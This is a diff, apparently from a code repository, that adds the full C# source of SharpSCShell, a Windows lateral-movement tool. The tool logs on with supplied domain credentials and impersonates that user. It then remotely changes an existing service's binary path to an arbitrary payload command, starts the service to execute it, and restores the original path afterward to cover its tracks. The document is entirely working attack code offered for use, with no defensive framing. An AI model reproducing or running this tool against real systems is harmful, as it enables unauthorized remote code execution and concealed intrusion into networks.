1
+ using System ;
2
+ using System . Collections . Generic ;
3
+ using System . Linq ;
4
+ using System . Runtime . InteropServices ;
5
+ using System . Text ;
6
+
7
+ namespace SharpSCShell
8
+ {
9
+ class Program
10
+ {
11
+ [ DllImport ( "advapi32.dll" , SetLastError = true , BestFitMapping = false , ThrowOnUnmappableChar = true ) ]
12
+ [ return : MarshalAs ( UnmanagedType . Bool ) ]
13
+ internal static extern bool LogonUser (
14
+ [ MarshalAs ( UnmanagedType . LPStr ) ] string lpszUsername ,
15
+ [ MarshalAs ( UnmanagedType . LPStr ) ] string lpszDomain ,
16
+ [ MarshalAs ( UnmanagedType . LPStr ) ] string lpszPassword ,
17
+ int dwLogonType ,
18
+ int dwLogonProvider ,
19
+ ref IntPtr phToken ) ;
20
+
21
+ [ DllImport ( "advapi32.dll" , SetLastError = true ) ]
22
+ static extern bool ImpersonateLoggedOnUser ( IntPtr hToken ) ;
23
+
24
+
25
+ [ DllImport ( "advapi32.dll" , EntryPoint = "OpenSCManagerW" , ExactSpelling = true , CharSet = CharSet . Unicode , SetLastError = true ) ]
26
+ public static extern IntPtr OpenSCManager (
27
+ string lpMachineName ,
28
+ string lpDatabaseName ,
29
+ uint dwDesiredAccess ) ;
30
+
31
+ [ DllImport ( "advapi32.dll" , SetLastError = true , CharSet = CharSet . Auto ) ]
32
+ static extern IntPtr OpenService (
33
+ IntPtr hSCManager ,
34
+ string lpServiceName ,
35
+ uint dwDesiredAccess ) ;
36
+
37
+ [ DllImport ( "advapi32.dll" ,
38
+ SetLastError = true , CharSet = CharSet . Auto ) ]
39
+ private static extern int QueryServiceConfig (
40
+ IntPtr service ,
41
+ IntPtr queryServiceConfig ,
42
+ int bufferSize ,
43
+ ref int bytesNeeded ) ;
44
+
45
+ [ DllImport ( "advapi32.dll" , EntryPoint = "ChangeServiceConfig" ) ]
46
+ [ return : MarshalAs ( UnmanagedType . Bool ) ]
47
+ public static extern bool ChangeServiceConfigA (
48
+ IntPtr hService ,
49
+ uint dwServiceType ,
50
+ int dwStartType ,
51
+ int dwErrorControl ,
52
+ string lpBinaryPathName ,
53
+ string lpLoadOrderGroup ,
54
+ string lpdwTagId ,
55
+ string lpDependencies ,
56
+ string lpServiceStartName ,
57
+ string lpPassword ,
58
+ string lpDisplayName ) ;
59
+
60
+ [ DllImport ( "advapi32" , SetLastError = true ) ]
61
+ [ return : MarshalAs ( UnmanagedType . Bool ) ]
62
+ public static extern bool StartService (
63
+ IntPtr hService ,
64
+ int dwNumServiceArgs ,
65
+ string [ ] lpServiceArgVectors
66
+ ) ;
67
+ public enum ACCESS_MASK : uint
68
+ {
69
+ STANDARD_RIGHTS_REQUIRED = 0x000F0000 ,
70
+ STANDARD_RIGHTS_READ = 0x00020000 ,
71
+ STANDARD_RIGHTS_WRITE = 0x00020000 ,
72
+ STANDARD_RIGHTS_EXECUTE = 0x00020000 ,
73
+ }
74
+ public enum SCM_ACCESS : uint
75
+ {
76
+ SC_MANAGER_CONNECT = 0x00001 ,
77
+ SC_MANAGER_CREATE_SERVICE = 0x00002 ,
78
+ SC_MANAGER_ENUMERATE_SERVICE = 0x00004 ,
79
+ SC_MANAGER_LOCK = 0x00008 ,
80
+ SC_MANAGER_QUERY_LOCK_STATUS = 0x00010 ,
81
+ SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00020 ,
82
+ SC_MANAGER_ALL_ACCESS = ACCESS_MASK . STANDARD_RIGHTS_REQUIRED |
83
+ SC_MANAGER_CONNECT |
84
+ SC_MANAGER_CREATE_SERVICE |
85
+ SC_MANAGER_ENUMERATE_SERVICE |
86
+ SC_MANAGER_LOCK |
87
+ SC_MANAGER_QUERY_LOCK_STATUS |
88
+ SC_MANAGER_MODIFY_BOOT_CONFIG ,
89
+
90
+ GENERIC_READ = ACCESS_MASK . STANDARD_RIGHTS_READ |
91
+ SC_MANAGER_ENUMERATE_SERVICE |
92
+ SC_MANAGER_QUERY_LOCK_STATUS ,
93
+
94
+ GENERIC_WRITE = ACCESS_MASK . STANDARD_RIGHTS_WRITE |
95
+ SC_MANAGER_CREATE_SERVICE |
96
+ SC_MANAGER_MODIFY_BOOT_CONFIG ,
97
+
98
+ GENERIC_EXECUTE = ACCESS_MASK . STANDARD_RIGHTS_EXECUTE |
99
+ SC_MANAGER_CONNECT | SC_MANAGER_LOCK ,
100
+
101
+ GENERIC_ALL = SC_MANAGER_ALL_ACCESS ,
102
+ }
103
+ public enum SERVICE_ACCESS : uint
104
+ {
105
+ STANDARD_RIGHTS_REQUIRED = 0xF0000 ,
106
+ SERVICE_QUERY_CONFIG = 0x00001 ,
107
+ SERVICE_CHANGE_CONFIG = 0x00002 ,
108
+ SERVICE_QUERY_STATUS = 0x00004 ,
109
+ SERVICE_ENUMERATE_DEPENDENTS = 0x00008 ,
110
+ SERVICE_START = 0x00010 ,
111
+ SERVICE_STOP = 0x00020 ,
112
+ SERVICE_PAUSE_CONTINUE = 0x00040 ,
113
+ SERVICE_INTERROGATE = 0x00080 ,
114
+ SERVICE_USER_DEFINED_CONTROL = 0x00100 ,
115
+ SERVICE_ALL_ACCESS = ( STANDARD_RIGHTS_REQUIRED |
116
+ SERVICE_QUERY_CONFIG |
117
+ SERVICE_CHANGE_CONFIG |
118
+ SERVICE_QUERY_STATUS |
119
+ SERVICE_ENUMERATE_DEPENDENTS |
120
+ SERVICE_START |
121
+ SERVICE_STOP |
122
+ SERVICE_PAUSE_CONTINUE |
123
+ SERVICE_INTERROGATE |
124
+ SERVICE_USER_DEFINED_CONTROL )
125
+ }
126
+ private struct QueryServiceConfigStruct
127
+ {
128
+ public int serviceType ;
129
+ public int startType ;
130
+ public int errorControl ;
131
+ public IntPtr binaryPathName ;
132
+ public IntPtr loadOrderGroup ;
133
+ public int tagID ;
134
+ public IntPtr dependencies ;
135
+ public IntPtr startName ;
136
+ public IntPtr displayName ;
137
+ }
138
+
139
+
140
+ [ DllImport ( "kernel32.dll" ) ]
141
+ public static extern uint GetLastError ( ) ;
142
+
143
+ [ DllImport ( "kernel32.dll" ) ]
144
+ static extern IntPtr GlobalAlloc ( uint uFlags , UIntPtr dwBytes ) ;
145
+
146
+ static void Main ( string [ ] args )
147
+ {
148
+ Console . WriteLine ( ) ;
149
+ Console . WriteLine ( "=============== SharpSCShell --> Revised at Rcoil (C# version) =============== " ) ;
150
+ Console . WriteLine ( ) ;
151
+ if ( args . Length < 2 )
152
+ {
153
+ Console . WriteLine ( "SharpSCShell.exe target service payload domain username password" ) ;
154
+ Environment . Exit ( 0 ) ;
155
+ }
156
+
157
+ string target = args [ 0 ] ;
158
+ string ServiceName = args [ 1 ] ;
159
+ string payload = args [ 2 ] ;
160
+ string domain = args [ 3 ] ;
161
+ string username = args [ 4 ] ;
162
+ string password = args [ 5 ] ;
163
+ const int LOGON32_LOGON_NEW_CREDENTIALS = 9 ;
164
+ const int LOGON32_PROVIDER_DEFAULT = 0 ;
165
+ const uint SERVICE_NO_CHANGE = 0xffffffff ;
166
+ const int SERVICE_DEMAND_START = 0x00000003 ;
167
+ const int SERVICE_ERROR_IGNORE = 0x00000000 ;
168
+ IntPtr phToken = IntPtr . Zero ;
169
+ int bytesNeeded = 5 ;
170
+
171
+ Console . WriteLine ( "[*] Trying to connect to {0}" , target ) ;
172
+ bool bResult = false ;
173
+ if ( username != null )
174
+ {
175
+ Console . WriteLine ( "[*] Username was provided attempting to call LogonUser" ) ;
176
+ bResult = LogonUser ( username , domain , password , LOGON32_LOGON_NEW_CREDENTIALS , LOGON32_PROVIDER_DEFAULT , ref phToken ) ;
177
+ if ( ! bResult )
178
+ {
179
+ Console . WriteLine ( "[!] LogonUser failed. Error:{0}" , GetLastError ( ) ) ;
180
+ Environment . Exit ( 0 ) ;
181
+ }
182
+ }
183
+ bResult = ImpersonateLoggedOnUser ( phToken ) ;
184
+ if ( ! bResult )
185
+ {
186
+ Console . WriteLine ( "[!] ImpersonateLoggedOnUser failed. Error:{0}" , GetLastError ( ) ) ;
187
+ Environment . Exit ( 0 ) ;
188
+ }
189
+
190
+ IntPtr SCMHandle = OpenSCManager ( target , null , ( uint ) SCM_ACCESS . SC_MANAGER_ALL_ACCESS ) ;
191
+ if ( SCMHandle == IntPtr . Zero )
192
+ {
193
+ Console . WriteLine ( "[!] OpenSCManagerA failed! Error:{0}" , GetLastError ( ) ) ;
194
+ Environment . Exit ( 0 ) ;
195
+ }
196
+ Console . WriteLine ( "[*] SC_HANDLE Manager 0x{0}" , SCMHandle ) ;
197
+
198
+ Console . WriteLine ( "[*] Opening {0} Service ...." , ServiceName ) ;
199
+ IntPtr schService = OpenService ( SCMHandle , ServiceName , ( ( uint ) SERVICE_ACCESS . SERVICE_ALL_ACCESS ) ) ;
200
+ Console . WriteLine ( "[*] SC_HANDLE Service 0x{0}" , schService ) ;
201
+
202
+
203
+ QueryServiceConfigStruct qscs = new QueryServiceConfigStruct ( ) ;
204
+ IntPtr qscPtr = Marshal . AllocCoTaskMem ( 0 ) ;
205
+ int retCode = QueryServiceConfig ( schService , qscPtr , 0 , ref bytesNeeded ) ;
206
+ if ( retCode == 0 && bytesNeeded == 0 )
207
+ {
208
+ Console . WriteLine ( "[!] QueryServiceConfig failed to read the service path. Error:{0}" , GetLastError ( ) ) ;
209
+ }
210
+ else
211
+ {
212
+ Console . WriteLine ( "[*] LPQUERY_SERVICE_CONFIGA need {0} bytes" , bytesNeeded ) ;
213
+ qscPtr = Marshal . AllocCoTaskMem ( bytesNeeded ) ;
214
+ retCode = QueryServiceConfig ( schService , qscPtr , bytesNeeded , ref bytesNeeded ) ;
215
+ qscs . binaryPathName = IntPtr . Zero ;
216
+
217
+ qscs = ( QueryServiceConfigStruct ) Marshal . PtrToStructure ( qscPtr , new QueryServiceConfigStruct ( ) . GetType ( ) ) ;
218
+ }
219
+
220
+ string originalBinaryPath = Marshal . PtrToStringAuto ( qscs . binaryPathName ) ;
221
+ Console . WriteLine ( "[*] Original service binary path \" {0}\" " , originalBinaryPath ) ;
222
+ Marshal . FreeCoTaskMem ( qscPtr ) ;
223
+
224
+ bResult = ChangeServiceConfigA ( schService , SERVICE_NO_CHANGE , SERVICE_DEMAND_START , SERVICE_ERROR_IGNORE , payload , null , null , null , null , null , null ) ;
225
+ if ( ! bResult )
226
+ {
227
+ Console . WriteLine ( "[!] ChangeServiceConfigA failed to update the service path. Error:{0}" , GetLastError ( ) ) ;
228
+ Environment . Exit ( 0 ) ;
229
+ }
230
+ Console . WriteLine ( "[*] Service path was changed to \" {0}\" " , payload ) ;
231
+
232
+
233
+ bResult = StartService ( schService , 0 , null ) ;
234
+ uint dwResult = GetLastError ( ) ;
235
+ if ( ! bResult && dwResult != 1053 )
236
+ {
237
+ Console . WriteLine ( "[!] StartServiceA failed to start the service. Error:{0}" , GetLastError ( ) ) ;
238
+ Environment . Exit ( 0 ) ;
239
+ }
240
+ else
241
+ {
242
+ Console . WriteLine ( "[*] Service was started" ) ;
243
+ }
244
+ bResult = ChangeServiceConfigA ( schService , SERVICE_NO_CHANGE , SERVICE_DEMAND_START , SERVICE_ERROR_IGNORE , originalBinaryPath , null , null , null , null , null , null ) ;
245
+ if ( ! bResult )
246
+ {
247
+ Console . WriteLine ( "[!] ChangeServiceConfigA failed to revert the service path. Error:{0}" , GetLastError ( ) ) ;
248
+ Environment . Exit ( 0 ) ;
249
+ }
250
+ else
251
+ {
252
+ Console . WriteLine ( "[*] Service path was restored to \" {0}\" " , originalBinaryPath ) ;
253
+ }
254
+ }
255
+ }
256
+ }
0 commit comments